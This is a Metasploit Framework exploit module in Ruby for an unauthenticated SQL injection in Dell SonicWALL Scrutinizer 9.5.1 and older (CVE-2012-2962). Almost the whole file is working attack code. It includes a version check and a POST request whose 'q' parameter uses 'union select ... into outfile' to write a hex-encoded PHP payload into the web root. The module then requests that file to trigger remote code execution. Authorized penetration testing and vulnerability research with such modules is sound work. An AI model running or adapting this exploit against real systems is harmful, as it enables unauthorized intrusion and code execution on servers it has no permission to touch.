##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

#   http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking



    include Msf::Exploit::Remote::HttpClient



    def initialize(info={})

        super(update_info(info,

            'Name'           => "Dell SonicWALL Scrutinizer 9 SQL Injection",

            'Description'    => %q{

                    This module exploits a vulnerability found in Dell SonicWall Scrutinizer.

                While handling the 'q' parameter, the PHP application does not properly filter

                the user-supplied data, which can be manipulated to inject SQL commands, and

                then gain remote code execution.  Please note that authentication is NOT needed

                to exploit this vulnerability.

            },

            'License'        => MSF_LICENSE,

            'Author'         =>

                [

                    'muts',

                    'dookie',

                    'sinn3r'

                ],

            'References'     =>

                [

                    ['CVE', '2012-2962'],

                    ['OSVDB', '84232'],

                    ['EDB', '20033'],

                    ['BID', '54625'],

                    ['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']

                ],

            'Payload'        =>

                {

                    'BadChars' => "\x00"

                },

            'Platform'       => 'php',

            'Arch'           => ARCH_PHP,

            'Targets'        =>

                [

                    # According to advisory, version 9.5.1 and before are vulnerable.

                    # But was only able to test this on 9.0.1.0

                    ['Dell SonicWall Scrutinizer 9.5.1 or older', {}]

                ],

            'Privileged'     => false,

            'DisclosureDate' => "Jul 22 2012",

            'DefaultTarget'  => 0))



            register_options(

                [

                    OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),

                    OptString.new('HTMLDIR',   [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])

                ], self.class)

    end





    def check

        res = send_request_raw({'uri'=>target_uri.host})

        if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and

                   res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/

            return Exploit::CheckCode::Vulnerable

        end



        return Exploit::CheckCode::Safe

    end





    def exploit

        peer = "#{rhost}:#{rport}"

        p = "<?php #{payload.encoded} ?>"

        hex_payload = p.unpack("H*")[0]

        php_fname   = Rex::Text.rand_text_alpha(5) + ".php"

        rnd_txt     = Rex::Text.rand_text_alpha_upper(3)



        print_status("#{peer} - Sending SQL injection...")

        res = send_request_cgi({

            'uri'       => target_uri.path,

            'method'    => 'POST',

            'vars_post' => {

                'commonJson' => 'protList',

                'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"

            }

        })



        if res and res.body !~ /No Results Found/

            print_error("#{peer} - I don't think the SQL Injection attempt worked")

            return

        elsif not res

            print_error("#{peer} - No response from the server")

            return

        end



        # For debugging purposes, this is useful

        vprint_status(res.to_s)



        target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"

        print_status("#{peer} - Requesting: #{target_path}")

        send_request_raw({'uri' => target_path})



        handler

    end

end